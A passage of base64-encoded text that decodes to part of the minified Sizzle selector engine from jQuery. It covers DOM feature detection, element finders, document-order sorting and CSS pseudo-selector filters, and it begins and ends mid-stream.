CIhPXR5cGVvZiBlLnF1ZXJ5U2VsZWN0b3JBbGwmJiFlLnF1ZXJ5U2VsZWN0b3JBbGwoIjpzY29wZSBmaWVsZHNldCBkaXYiKS5sZW5ndGh9KSxkLmF0dHJpYnV0ZXM9Y2UoZnVuY3Rpb24oZSl7cmV0dXJuIGUuY2xhc3NOYW1lPSJpIiwhZS5nZXRBdHRyaWJ1dGUoImNsYXNzTmFtZSIpfSksZC5nZXRFbGVtZW50c0J5VGFnTmFtZT1jZShmdW5jdGlvbihlKXtyZXR1cm4gZS5hcHBlbmRDaGlsZChDLmNyZWF0ZUNvbW1lbnQoIiIpKSwhZS5nZXRFbGVtZW50c0J5VGFnTmFtZSgiKiIpLmxlbmd0aH0pLGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZT1LLnRlc3QoQy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKSxkLmdldEJ5SWQ9Y2UoZnVuY3Rpb24oZSl7cmV0dXJuIGEuYXBwZW5kQ2hpbGQoZSkuaWQ9UywhQy5nZXRFbGVtZW50c0J5TmFtZXx8IUMuZ2V0RWxlbWVudHNCeU5hbWUoUykubGVuZ3RofSksZC5nZXRCeUlkPyhiLmZpbHRlci5JRD1mdW5jdGlvbihlKXt2YXIgdD1lLnJlcGxhY2UodGUsbmUpO3JldHVybiBmdW5jdGlvbihlKXtyZXR1cm4gZS5nZXRBdHRyaWJ1dGUoImlkIik9PT10fX0sYi5maW5kLklEPWZ1bmN0aW9uKGUsdCl7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiB0LmdldEVsZW1lbnRCeUlkJiZFKXt2YXIgbj10LmdldEVsZW1lbnRCeUlkKGUpO3JldHVybiBuP1tuXTpbXX19KTooYi5maWx0ZXIuSUQ9ZnVuY3Rpb24oZSl7dmFyIG49ZS5yZXBsYWNlKHRlLG5lKTtyZXR1cm4gZnVuY3Rpb24oZSl7dmFyIHQ9InVuZGVmaW5lZCIhPXR5cGVvZiBlLmdldEF0dHJpYnV0ZU5vZGUmJmUuZ2V0QXR0cmlidXRlTm9kZSgiaWQiKTtyZXR1cm4gdCYmdC52YWx1ZT09PW59fSxiLmZpbmQuSUQ9ZnVuY3Rpb24oZSx0KXtpZigidW5kZWZpbmVkIiE9dHlwZW9mIHQuZ2V0RWxlbWVudEJ5SWQmJkUpe3ZhciBuLHIsaSxvPXQuZ2V0RWxlbWVudEJ5SWQoZSk7aWYobyl7aWYoKG49by5nZXRBdHRyaWJ1dGVOb2RlKCJpZCIpKSYmbi52YWx1ZT09PWUpcmV0dXJuW29dO2k9dC5nZXRFbGVtZW50c0J5TmFtZShlKSxyPTA7d2hpbGUobz1pW3IrK10paWYoKG49by5nZXRBdHRyaWJ1dGVOb2RlKCJpZCIpKSYmbi52YWx1ZT09PWUpcmV0dXJuW29dfXJldHVybltdfX0pLGIuZmluZC5UQUc9ZC5nZXRFbGVtZW50c0J5VGFnTmFtZT9mdW5jdGlvbihlLHQpe3JldHVybiJ1bmRlZmluZWQiIT10eXBlb2YgdC5nZXRFbGVtZW50c0J5VGFnTmFtZT90LmdldEVsZW1lbnRzQnlUYWdOYW1lKGUpOmQucXNhP3QucXVlcnlTZWxlY3RvckFsbChlKTp2b2lkIDB9OmZ1bmN0aW9uKGUsdCl7dmFyIG4scj1bXSxpPTAsbz10LmdldEVsZW1lbnRzQnlUYWdOYW1lKGUpO2lmKCIqIj09PWUpe3doaWxlKG49b1tpKytdKTE9PT1uLm5vZGVUeXBlJiZyLnB1c2gobik7cmV0dXJuIHJ9cmV0dXJuIG99LGIuZmluZC5DTEFTUz1kLmdldEVsZW1lbnRzQnlDbGFzc05hbWUmJmZ1bmN0aW9uKGUsdCl7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiB0LmdldEVsZW1lbnRzQnlDbGFzc05hbWUmJkUpcmV0dXJuIHQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZShlKX0scz1bXSx2PVtdLChkLnFzYT1LLnRlc3QoQy5xdWVyeVNlbGVjdG9yQWxsKSkmJihjZShmdW5jdGlvbihlKXt2YXIgdDthLmFwcGVuZENoaWxkKGUpLmlubmVySFRNTD0iPGEgaWQ9JyIrUysiJz48L2E+PHNlbGVjdCBpZD0nIitTKyItXHJcXCcgbXNhbGxvd2NhcHR1cmU9Jyc+PG9wdGlvbiBzZWxlY3RlZD0nJz48L29wdGlvbj48L3NlbGVjdD4iLGUucXVlcnlTZWxlY3RvckFsbCgiW21zYWxsb3djYXB0dXJlXj0nJ10iKS5sZW5ndGgmJnYucHVzaCgiWypeJF09IitNKyIqKD86Jyd8XCJcIikiKSxlLnF1ZXJ5U2VsZWN0b3JBbGwoIltzZWxlY3RlZF0iKS5sZW5ndGh8fHYucHVzaCgiXFxbIitNKyIqKD86dmFsdWV8IitSKyIpIiksZS5xdWVyeVNlbGVjdG9yQWxsKCJbaWR+PSIrUysiLV0iKS5sZW5ndGh8fHYucHVzaCgifj0iKSwodD1DLmNyZWF0ZUVsZW1lbnQoImlucHV0IikpLnNldEF0dHJpYnV0ZSgibmFtZSIsIiIpLGUuYXBwZW5kQ2hpbGQodCksZS5xdWVyeVNlbGVjdG9yQWxsKCJbbmFtZT0nJ10iKS5sZW5ndGh8fHYucHVzaCgiXFxbIitNKyIqbmFtZSIrTSsiKj0iK00rIiooPzonJ3xcIlwiKSIpLGUucXVlcnlTZWxlY3RvckFsbCgiOmNoZWNrZWQiKS5sZW5ndGh8fHYucHVzaCgiOmNoZWNrZWQiKSxlLnF1ZXJ5U2VsZWN0b3JBbGwoImEjIitTKyIrKiIpLmxlbmd0aHx8di5wdXNoKCIuIy4rWyt+XSIpLGUucXVlcnlTZWxlY3RvckFsbCgiXFxcZiIpLHYucHVzaCgiW1xcclxcblxcZl0iKX0pLGNlKGZ1bmN0aW9uKGUpe2UuaW5uZXJIVE1MPSI8YSBocmVmPScnIGRpc2FibGVkPSdkaXNhYmxlZCc+PC9hPjxzZWxlY3QgZGlzYWJsZWQ9J2Rpc2FibGVkJz48b3B0aW9uLz48L3NlbGVjdD4iO3ZhciB0PUMuY3JlYXRlRWxlbWVudCgiaW5wdXQiKTt0LnNldEF0dHJpYnV0ZSgidHlwZSIsImhpZGRlbiIpLGUuYXBwZW5kQ2hpbGQodCkuc2V0QXR0cmlidXRlKCJuYW1lIiwiRCIpLGUucXVlcnlTZWxlY3RvckFsbCgiW25hbWU9ZF0iKS5sZW5ndGgmJnYucHVzaCgibmFtZSIrTSsiKlsqXiR8IX5dPz0iKSwyIT09ZS5xdWVyeVNlbGVjdG9yQWxsKCI6ZW5hYmxlZCIpLmxlbmd0aCYmdi5wdXNoKCI6ZW5hYmxlZCIsIjpkaXNhYmxlZCIpLGEuYXBwZW5kQ2hpbGQoZSkuZGlzYWJsZWQ9ITAsMiE9PWUucXVlcnlTZWxlY3RvckFsbCgiOmRpc2FibGVkIikubGVuZ3RoJiZ2LnB1c2goIjplbmFibGVkIiwiOmRpc2FibGVkIiksZS5xdWVyeVNlbGVjdG9yQWxsKCIqLDp4Iiksdi5wdXNoKCIsLio6Iil9KSksKGQubWF0Y2hlc1NlbGVjdG9yPUsudGVzdChjPWEubWF0Y2hlc3x8YS53ZWJraXRNYXRjaGVzU2VsZWN0b3J8fGEubW96TWF0Y2hlc1NlbGVjdG9yfHxhLm9NYXRjaGVzU2VsZWN0b3J8fGEubXNNYXRjaGVzU2VsZWN0b3IpKSYmY2UoZnVuY3Rpb24oZSl7ZC5kaXNjb25uZWN0ZWRNYXRjaD1jLmNhbGwoZSwiKiIpLGMuY2FsbChlLCJbcyE9JyddOngiKSxzLnB1c2goIiE9IixGKX0pLHY9di5sZW5ndGgmJm5ldyBSZWdFeHAodi5qb2luKCJ8IikpLHM9cy5sZW5ndGgmJm5ldyBSZWdFeHAocy5qb2luKCJ8IikpLHQ9Sy50ZXN0KGEuY29tcGFyZURvY3VtZW50UG9zaXRpb24pLHk9dHx8Sy50ZXN0KGEuY29udGFpbnMpP2Z1bmN0aW9uKGUsdCl7dmFyIG49OT09PWUubm9kZVR5cGU/ZS5kb2N1bWVudEVsZW1lbnQ6ZSxyPXQmJnQucGFyZW50Tm9kZTtyZXR1cm4gZT09PXJ8fCEoIXJ8fDEhPT1yLm5vZGVUeXBlfHwhKG4uY29udGFpbnM/bi5jb250YWlucyhyKTplLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uJiYxNiZlLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uKHIpKSl9OmZ1bmN0aW9uKGUsdCl7aWYodCl3aGlsZSh0PXQucGFyZW50Tm9kZSlpZih0PT09ZSlyZXR1cm4hMDtyZXR1cm4hMX0sRD10P2Z1bmN0aW9uKGUsdCl7aWYoZT09PXQpcmV0dXJuIGw9ITAsMDt2YXIgbj0hZS5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbi0hdC5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbjtyZXR1cm4gbnx8KDEmKG49KGUub3duZXJEb2N1bWVudHx8ZSk9PSh0Lm93bmVyRG9jdW1lbnR8fHQpP2UuY29tcGFyZURvY3VtZW50UG9zaXRpb24odCk6MSl8fCFkLnNvcnREZXRhY2hlZCYmdC5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbihlKT09PW4/ZT09Q3x8ZS5vd25lckRvY3VtZW50PT1wJiZ5KHAsZSk/LTE6dD09Q3x8dC5vd25lckRvY3VtZW50PT1wJiZ5KHAsdCk/MTp1P1AodSxlKS1QKHUsdCk6MDo0Jm4/LTE6MSl9OmZ1bmN0aW9uKGUsdCl7aWYoZT09PXQpcmV0dXJuIGw9ITAsMDt2YXIgbixyPTAsaT1lLnBhcmVudE5vZGUsbz10LnBhcmVudE5vZGUsYT1bZV0scz1bdF07aWYoIWl8fCFvKXJldHVybiBlPT1DPy0xOnQ9PUM/MTppPy0xOm8/MTp1P1AodSxlKS1QKHUsdCk6MDtpZihpPT09bylyZXR1cm4gcGUoZSx0KTtuPWU7d2hpbGUobj1uLnBhcmVudE5vZGUpYS51bnNoaWZ0KG4pO249dDt3aGlsZShuPW4ucGFyZW50Tm9kZSlzLnVuc2hpZnQobik7d2hpbGUoYVtyXT09PXNbcl0pcisrO3JldHVybiByP3BlKGFbcl0sc1tyXSk6YVtyXT09cD8tMTpzW3JdPT1wPzE6MH0pLEN9LHNlLm1hdGNoZXM9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gc2UoZSxudWxsLG51bGwsdCl9LHNlLm1hdGNoZXNTZWxlY3Rvcj1mdW5jdGlvbihlLHQpe2lmKFQoZSksZC5tYXRjaGVzU2VsZWN0b3ImJkUmJiFOW3QrIiAiXSYmKCFzfHwhcy50ZXN0KHQpKSYmKCF2fHwhdi50ZXN0KHQpKSl0cnl7dmFyIG49Yy5jYWxsKGUsdCk7aWYobnx8ZC5kaXNjb25uZWN0ZWRNYXRjaHx8ZS5kb2N1bWVudCYmMTEhPT1lLmRvY3VtZW50Lm5vZGVUeXBlKXJldHVybiBufWNhdGNoKGUpe04odCwhMCl9cmV0dXJuIDA8c2UodCxDLG51bGwsW2VdKS5sZW5ndGh9LHNlLmNvbnRhaW5zPWZ1bmN0aW9uKGUsdCl7cmV0dXJuKGUub3duZXJEb2N1bWVudHx8ZSkhPUMmJlQoZSkseShlLHQpfSxzZS5hdHRyPWZ1bmN0aW9uKGUsdCl7KGUub3duZXJEb2N1bWVudHx8ZSkhPUMmJlQoZSk7dmFyIG49Yi5hdHRySGFuZGxlW3QudG9Mb3dlckNhc2UoKV0scj1uJiZqLmNhbGwoYi5hdHRySGFuZGxlLHQudG9Mb3dlckNhc2UoKSk/bihlLHQsIUUpOnZvaWQgMDtyZXR1cm4gdm9pZCAwIT09cj9yOmQuYXR0cmlidXRlc3x8IUU/ZS5nZXRBdHRyaWJ1dGUodCk6KHI9ZS5nZXRBdHRyaWJ1dGVOb2RlKHQpKSYmci5zcGVjaWZpZWQ/ci52YWx1ZTpudWxsfSxzZS5lc2NhcGU9ZnVuY3Rpb24oZSl7cmV0dXJuKGUrIiIpLnJlcGxhY2UocmUsaWUpfSxzZS5lcnJvcj1mdW5jdGlvbihlKXt0aHJvdyBuZXcgRXJyb3IoIlN5bnRheCBlcnJvciwgdW5yZWNvZ25pemVkIGV4cHJlc3Npb246ICIrZSl9LHNlLnVuaXF1ZVNvcnQ9ZnVuY3Rpb24oZSl7dmFyIHQsbj1bXSxyPTAsaT0wO2lmKGw9IWQuZGV0ZWN0RHVwbGljYXRlcyx1PSFkLnNvcnRTdGFibGUmJmUuc2xpY2UoMCksZS5zb3J0KEQpLGwpe3doaWxlKHQ9ZVtpKytdKXQ9PT1lW2ldJiYocj1uLnB1c2goaSkpO3doaWxlKHItLSllLnNwbGljZShuW3JdLDEpfXJldHVybiB1PW51bGwsZX0sbz1zZS5nZXRUZXh0PWZ1bmN0aW9uKGUpe3ZhciB0LG49IiIscj0wLGk9ZS5ub2RlVHlwZTtpZihpKXtpZigxPT09aXx8OT09PWl8fDExPT09aSl7aWYoInN0cmluZyI9PXR5cGVvZiBlLnRleHRDb250ZW50KXJldHVybiBlLnRleHRDb250ZW50O2ZvcihlPWUuZmlyc3RDaGlsZDtlO2U9ZS5uZXh0U2libGluZyluKz1vKGUpfWVsc2UgaWYoMz09PWl8fDQ9PT1pKXJldHVybiBlLm5vZGVWYWx1ZX1lbHNlIHdoaWxlKHQ9ZVtyKytdKW4rPW8odCk7cmV0dXJuIG59LChiPXNlLnNlbGVjdG9ycz17Y2FjaGVMZW5ndGg6NTAsY3JlYXRlUHNldWRvOmxlLG1hdGNoOkcsYXR0ckhhbmRsZTp7fSxmaW5kOnt9LHJlbGF0aXZlOnsiPiI6e2RpcjoicGFyZW50Tm9kZSIsZmlyc3Q6ITB9LCIgIjp7ZGlyOiJwYXJlbnROb2RlIn0sIisiOntkaXI6InByZXZpb3VzU2libGluZyIsZmlyc3Q6ITB9LCJ+Ijp7ZGlyOiJwcmV2aW91c1NpYmxpbmcifX0scHJlRmlsdGVyOntBVFRSOmZ1bmN0aW9uKGUpe3JldHVybiBlWzFdPWVbMV0ucmVwbGFjZSh0ZSxuZSksZVszXT0oZVszXXx8ZVs0XXx8ZVs1XXx8IiIpLnJlcGxhY2UodGUsbmUpLCJ+PSI9PT1lWzJdJiYoZVszXT0iICIrZVszXSsiICIpLGUuc2xpY2UoMCw0KX0sQ0hJTEQ6ZnVuY3Rpb24oZSl7cmV0dXJuIGVbMV09ZVsxXS50b0xvd2VyQ2FzZSgpLCJudGgiPT09ZVsxXS5zbGljZSgwLDMpPyhlWzNdfHxzZS5lcnJvcihlWzBdKSxlWzRdPSsoZVs0XT9lWzVdKyhlWzZdfHwxKToyKigiZXZlbiI9PT1lWzNdfHwib2RkIj09PWVbM10pKSxlWzVdPSsoZVs3XStlWzhdfHwib2RkIj09PWVbM10pKTplWzNdJiZzZS5lcnJvcihlWzBdKSxlfSxQU0VVRE86ZnVuY3Rpb24oZSl7dmFyIHQsbj0hZVs2XSYmZVsyXTtyZXR1cm4gRy5DSElMRC50ZXN0KGVbMF0pP251bGw6KGVbM10/ZVsyXT1lWzRdfHxlWzVdfHwiIjpuJiZYLnRlc3QobikmJih0PWgobiwhMCkpJiYodD1uLmluZGV4T2YoIikiLG4ubGVuZ3RoLXQpLW4ubGVuZ3RoKSYmKGVbMF09ZVswXS5zbGljZSgwLHQpLGVbMl09bi5zbGljZSgwLHQpKSxlLnNsaWNlKDAsMykpfX0sZmlsdGVyOntUQUc6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5yZXBsYWNlKHRlLG5lKS50b0xvd2VyQ2FzZSgpO3JldHVybiIqIj09PWU/ZnVuY3Rpb24oKXtyZXR1cm4hMH06ZnVuY3Rpb24oZSl7cmV0dXJuIGUubm9kZU5hbWUmJmUubm9kZU5hbWUudG9Mb3dlckNhc2UoKT09PXR9fSxDTEFTUzpmdW5jdGlvbihlKXt2YXIgdD1tW2UrIiAiXTtyZXR1cm4gdHx8KHQ9bmV3IFJlZ0V4cCgiKF58IitNKyIpIitlKyIoIitNKyJ8JCkiKSkmJm0oZSxmdW5jdGlvbihlKXtyZXR1cm4gdC50ZXN0KCJzdHJpbmciPT10eXBlb2YgZS5jbGFzc05hbWUmJmUuY2xhc3NOYW1lfHwidW5kZWZpbmVkIiE9dHlwZW9mIGUuZ2V0QXR0cmlidXRlJiZlLmdldEF0dHJpYnV0ZSgiY2xhc3MiKXx8IiIpfSl9LEFUVFI6ZnVuY3Rpb24obixyLGkpe3JldHVybiBmdW5jdGlvbihlKXt2YXIgdD1zZS5hdHRyKGUsbik7cmV0dXJuIG51bGw9PXQ/IiE9Ij09PXI6IXJ8fCh0Kz0iIiwiPSI9PT1yP3Q9PT1pOiIhPSI9PT1yP3QhPT1pOiJePSI9PT1yP2kmJjA9PT10LmluZGV4T2YoaSk6Iio9Ij09PXI/aSYmLTE8dC5pbmRleE9mKGkpOiIkPSI9PT1yP2kmJnQuc2xpY2UoLWkubGVuZ3RoKT09PWk6In49Ij09PXI/LTE8KCIgIit0LnJlcGxhY2UoQiwiICIpKyIgIikuaW5kZXhPZihpKToifD0iPT09ciYmKHQ9PT1pfHx0LnNsaWNlKDAsaS5sZW5ndGgrMSk9PT1pKyItIikpfX0sQ0hJTEQ6ZnVuY3Rpb24oaCxlLHQsZyx2KXt2YXIgeT0ibnRoIiE9PWguc2xpY2UoMCwzKSxtPSJsYXN0IiE9PWguc2xpY2UoLTQpLHg9Im9mLXR5cGUiPT09ZTtyZXR1cm4gMT09PWcmJjA9PT12P2Z1bmN0aW9uKGUpe3JldHVybiEhZS5wYXJlbnROb2RlfTpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGEscyx1LGw9eSE9PW0/Im5leHRTaWJsaW5nIjoicHJldmlvdXNTaWJsaW5nIixjPWUucGFyZW50Tm9kZSxmPXgmJmUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSxwPSFuJiYheCxkPSExO2lmKGMpe2lmKHkpe3doaWxlKGwpe2E9ZTt3aGlsZShhPWFbbF0paWYoeD9hLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT1mOjE9PT1hLm5vZGVUeXBlKXJldHVybiExO3U9bD0ib25seSI9PT1oJiYhdSYmIm5leHRTaWJsaW5nIn1yZXR1cm4hMH1pZih1PVttP2MuZmlyc3RDaGlsZDpjLmxhc3RDaGlsZF0sbSYmcCl7ZD0ocz0ocj0oaT0obz0oYT1jKVtTXXx8KGFbU109e30pKVthLnVuaXF1ZUlEXXx8KG9bYS51bmlxdWVJRF09e30pKVtoXXx8W10pWzBdPT09ayYmclsxXSkmJnJbMl0sYT1zJiZjLmNoaWxkTm9kZXNbc107d2hpbGUoYT0rK3MmJmEmJmFbbF18fChkPXM9MCl8fHUucG9wKCkpaWYoMT09PWEubm9kZVR5cGUmJisrZCYmYT09PWUpe2lbaF09W2sscyxkXTticmVha319ZWxzZSBpZihwJiYoZD1zPShyPShpPShvPShhPWUpW1NdfHwoYVtTXT17fSkpW2EudW5pcXVlSURdfHwob1thLnVuaXF1ZUlEXT17fSkpW2hdfHxbXSlbMF09PT1rJiZyWzFdKSwhMT09PWQpd2hpbGUoYT0rK3MmJmEmJmFbbF18fChkPXM9MCl8fHUucG9wKCkpaWYoKHg/YS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpPT09ZjoxPT09YS5ub2RlVHlwZSkmJisrZCYmKHAmJigoaT0obz1hW1NdfHwoYVtTXT17fSkpW2EudW5pcXVlSURdfHwob1thLnVuaXF1ZUlEXT17fSkpW2hdPVtrLGRdKSxhPT09ZSkpYnJlYWs7cmV0dXJuKGQtPXYpPT09Z3x8ZCVnPT0wJiYwPD1kL2d9fX0sUFNFVURPOmZ1bmN0aW9uKGUsbyl7dmFyIHQsYT1iLnBzZXVkb3NbZV18fGIuc2V0RmlsdGVyc1tlLnRvTG93ZXJDYXNlKCldfHxzZS5lcnJvcigidW5zdXBwb3J0ZWQgcHNldWRvOiAiK2UpO3JldHVybiBhW1NdP2Eobyk6MTxhLmxlbmd0aD8odD1bZSxlLCIiLG9dLGIuc2V0RmlsdGVycy5oYXNPd25Qcm9wZXJ0eShlLnRvTG93ZXJDYXNlKCkpP2xlKGZ1bmN0aW9uKGUsdCl7dmFyIG4scj1hKGUsbyksaT1yLmxlbmd0aDt3aGlsZShpLS0pZVtuPVAoZSxyW2ldKV09ISh0W25dPXJbaV0pfSk6ZnVuY3Rpb24oZSl7cmV0dXJuIGEoZSwwLHQpfSk6YX19LHBzZXVkb3M6e25vdDpsZShmdW5jdGlvbihlKXt2YXIgcj1bXSxpPVtdLHM9ZihlLnJlcGxhY2UoJCwiJDEiKSk7cmV0dXJuIHNbU10/bGUoZnVuY3Rpb24oZSx0LG4scil7dmFyIGksbz1zKGUsbnVsbCxyLFtdKSxhPWUubGVuZ3RoO3doaWxlKGEtLSkoaT1vW2FdKSYmKGVbYV09ISh0W2FdPWkpKX0pOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gclswXT1lLHMocixudWxsLG4saSksclswXT1udWxsLCFpLnBvcCgpfX0pLGhhczpsZShmdW5jdGlvbih0KXtyZXR1cm4gZnVuY3Rpb24oZSl7cmV0dXJuIDA8c2UodCxlKS5sZW5ndGh9fSksY29udGFpbnM6bGUoZnVuY3Rpb24odCl7cmV0dXJuIHQ9dC5yZXBsYWNlKHRlLG5lKSxmdW5jdGlvbihlKXtyZXR1cm4tMTwoZS50ZXh0Q29udGVudHx8byhlKSkuaW5kZXhPZih0KX19KSxsYW5nOmxlKGZ1bmN0aW9uKG4pe3JldHVybiBWLnRlc3Qobnx8IiIpfHxzZS5lcnJvcigidW5zdXBwb3J0ZWQgbGFuZzogIituKSxuPW4ucmVwbGFjZSh0ZSxuZSkudG9Mb3dlckNhc2UoKSxmdW5jdGlvbihlKXt2YXIgdDtkb3tpZih0PUU/ZS5sYW5nOmUuZ2V0QXR0cmlidXRlKCJ4bWw6bGFuZyIpfHxlLmdldEF0dHJpYnV0ZSgibGFuZyIpKXJldHVybih0PXQudG9Mb3dlckNhc2UoKSk9PT1ufHwwPT09dC5pbmRleE9mKG4rIi0iKX13aGlsZSgoZT1lLnBhcmVudE5vZGUpJiYxPT09ZS5ub2RlVHlwZSk7cmV0dXJuITF9fSksdGFyZ2V0OmZ1bmN0aW9uKGUpe3ZhciB0PW4ubG9jYXRpb24mJm4ubG9jYXRpb24uaGFzaDtyZXR1cm4gdCYmdC5zbGljZSgxKT09PWUuaWR9LHJvb3Q6ZnVuY3Rpb24oZSl7cmV0dXJuIGU9PT1hfSxmb2N1czpmdW5jdGlvbihlKXtyZXR1cm4gZT09PUMuYWN0aXZlRWxlbWVudCYmKCFDLmhhc0ZvY3VzfHxDLmhhc0ZvY3VzKCkpJiYhIShlLnR5cGV8fGUuaHJlZnx8fmUudGFiSW5kZXgpfSxlbmFibGVkOmdlKCExKSxkaXNhYmxlZDpnZSghMCksY2hlY2tlZDpmdW5jdGlvbihlKXt2YXIgdD1lLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7cmV0dXJuImlucHV0Ij09PXQmJiEhZS5jaGVja2VkfHwib3B0aW9uIj09PXQmJiEhZS5zZWxlY3RlZH0sc2VsZWN0ZWQ6ZnVuY3Rpb24oZSl7cmV0dXJuIGUucGFyZW50Tm9kZSYmZS5wYXJlbnROb2RlLnNlbGVjdGVkSW5kZXgsITA9PT1lLnNlbGVjdGVkfSxlbXB0eTpmdW5jdGlvbihlKXtmb3IoZT1lLmZpcnN0Q2hpbGQ7ZTtlPWUubmV4dFNpYmxpbmcpaWYoZS5ub2RlVHlwZTw2KXJldHVybiExO3JldHVybiEwfSxwYXJlbnQ6ZnVuY3Rpb24oZSl7cmV0dXJuIWIucHNldWRvcy5lbXB0eShlKX0saGVhZGVyOmZ1bmN0aW9uKGUpe3JldHVybiBKLnRlc3QoZS5ub2RlTmFtZSl9LGlucHV0OmZ1bmN0aW9uKGUpe3JldHVybiBRLnRlc3QoZS5ub2RlTmFtZSl9LGJ1dHRvbjpmdW5jdGlvbihlKXt2YXIgdD1lLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7cmV0dXJuImlucHV0Ij09PXQmJiJidXR0b24iPT09ZS50eXBlfHwiYnV0dG9uIj09PXR9LHRleHQ6ZnVuY3Rpb24oZSl7dmFyIHQ7cmV0dXJuImlucHV0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSYmInRleHQiPT09ZS50eXBlJiYobnVsbD09KHQ9ZS5nZXRBdHRyaWJ1dGUoInR5cGUiKSl8fCJ0ZXh0Ij09PXQudG9Mb3dlckNhc2UoKSl9LGZpcnN0OnZlKGZ1bmN0aW9uKCl7cmV0dXJuWzBdfSksbGFzdDp2ZShmdW5jdGlvbihlLHQpe3JldHVyblt0LTFdfSksZXE6dmUoZnVuY3Rpb24oZSx0LG4pe3JldHVybltuPDA/bit0Om5dfSksZXZlbjp2ZShmdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0wO248dDtuKz0yKWUucHVzaChuKTtyZXR1cm4gZX0pLG9kZDp2ZShmdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0xO248dDtuKz0yKWUucHVzaChuKTtyZXR1cm4gZX0pLGx0OnZlKGZ1bmN0aW9uKGUsdCxuKXtmb3IodmFyIHI9bjwwP24rdDp0PG4/dDpuOzA8PS0tcjspZS5wdXNoKHIpO3JldHVybiBlfSksZ3Q6dmUoZnVuY3Rpb24oZSx0LG4pe2Zvcih2YXIgcj1uPDA/bit0Om47KytyPHQ7KWUucHVzaChyKTtyZXR1cm4gZX0pfX0pLnBzZXVkb3MubnRoPWIucHNldWRvcy5lcSx7cmFkaW86ITAsY2hlY2tib3g6ITAsZmlsZTohMCxwYXNzd29yZDohMCxpbWFnZTohMH0pYi5wc2V1ZG9zW2VdPWRlKGUpO2ZvcihlIGlue3N1Ym1pdDohMCxyZXNldDohMH0pYi5wc2V1ZG9zW2VdPWhlKGUpO2Z1bmN0aW9uIG1lKCl7fWZ1bmN0aW9uIHhlKGUpe2Zvcih2YXIgdD0wLG49ZS5sZW5ndGgscj0iIjt0PG47dCsrKXIrPWVbdF0udmFsdWU7cmV0dXJuIHJ9ZnVuY3Rpb24gYmUocyxlLHQpe3ZhciB1PWUuZGlyLGw9ZS5uZXh0LGM9bHx8dSxmPXQmJiJwYXJlbnROb2RlIj09PWMscD1yKys7cmV0dXJuIGUuZmlyc3Q/ZnVuY3Rpb24oZSx0LG4pe3doaWxlKGU9ZVt1XSlpZigxPT09ZS5ub2RlVHlwZXx8ZilyZXR1cm4gcyhlLHQsbik7cmV0dXJuITF9OmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYT1bayxwXTtpZihuKXt3aGlsZShlPWVbdV0paWYoKDE9PT1lLm5vZGVUeXBlfHxmKSYmcyhlLHQsbikpcmV0dXJuITB9ZWxzZSB3aGlsZShlPWVbdV0paWYoMT09PWUubm9kZVR5cGV8fGYpaWYoaT0obz1lW1NdfHwoZVtTXT17fSkpW2UudW5pcXVlSURdfHwob1tlLnVuaXF1ZUlEXT17fSksbCYmbD09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSllPWVbdV18fGU7ZWxzZXtpZigocj1pW2NdKSYmclswXT09PWsmJnJbMV09PT1wKXJldHVybiBhWzJdPXJbMl07aWYoKGlbY109YSlbMl09cyhlLHQsbikpcmV0dXJuITB9cmV0dXJuITF9fWZ1bmN0aW9uIHdlKGkpe3JldHVybiAxPGkubGVuZ3RoP2Z1bmN0aW9uKGUsdCxuKXt2YXIgcj1pLmxlbmd0aDt3aGlsZShyLS0paWYoIWlbcl0oZSx0LG4pKXJldHVybiExO3JldHVybiEwfTppWzBdfWZ1bmN0aW9uIFRlKGUsdCxuLHIsaSl7Zm9yKHZhciBvLGE9W10scz0wLHU9ZS5sZW5ndGgsbD1udWxsIT10O3M8dTtzKyspKG89ZVtzXSkmJihuJiYhbihvLHIsaSl8fChhLnB1c2gobyksbCYmdC5wdXNoKHMpKSk7cmV0dXJuIGF9ZnVuY3Rpb24gQ2UoZCxoLGcsdix5LGUpe3JldHVybiB2JiYhdltTXSYmKHY9Q2UodikpLHkmJiF5W1NdJiYoeT1DZSh5LGUpKSxsZShmdW5jdGlvbihlLHQsbixyKXt2YXIgaSxvLGEscz1bXSx1PVtdLGw9dC5sZW5ndGgsYz1lfHxmdW5jdGlvbihlLHQsbil7Zm9yKHZhciByPTAsaT10Lmxlbmd0aDtyPGk7cisrKXNlKGUsdFtyXSxuKTtyZXR1cm4gbn0oaHx8IioiLG4ubm9kZVR5cGU/W25dOm4sW10pLGY9IWR8fCFlJiZoP2M6VGUoYyxzLGQsbixyKSxwPWc/eXx8KGU/ZDpsfHx2KT9bXTp0OmY7aWYoZyYmZyhmLHAsbixyKSx2KXtpPVRlKHAsdSksdihpLFtdLG4sciksbz1pLmxlbmd0aDt3aGlsZShvLS0pKGE9aVtvXSkmJihwW3Vbb11dPSEoZlt1W29dXT1hKSl9aWYoZSl7aWYoeXx8ZCl7aWYoeSl7aT1bXSxvPXAubGVuZ3RoO3doaWxlKG8tLSkoYT1wW29dKSYmaS5wdXNoKGZbb109YSk7eShudWxsLHA9W10saSxyKX1vPXAubGVuZ3RoO3doaWxlKG8tLSkoYT1wW29dKSYmLTE8KGk9eT9QKGUsYSk6c1tvXSkmJihlW2ldPSEodFtpXT1hKSl9fWVsc2UgcD1UZShwPT09dD9wLnNwbGljZShsLHAubGVuZ3RoKTpwKSx5P3kobnVsbCx0LHAscik6SC5hcHBseSh0LHApfSl9ZnVuY3Rpb24gRWUoZSl7Zm9yKHZhciBpLHQsbixyP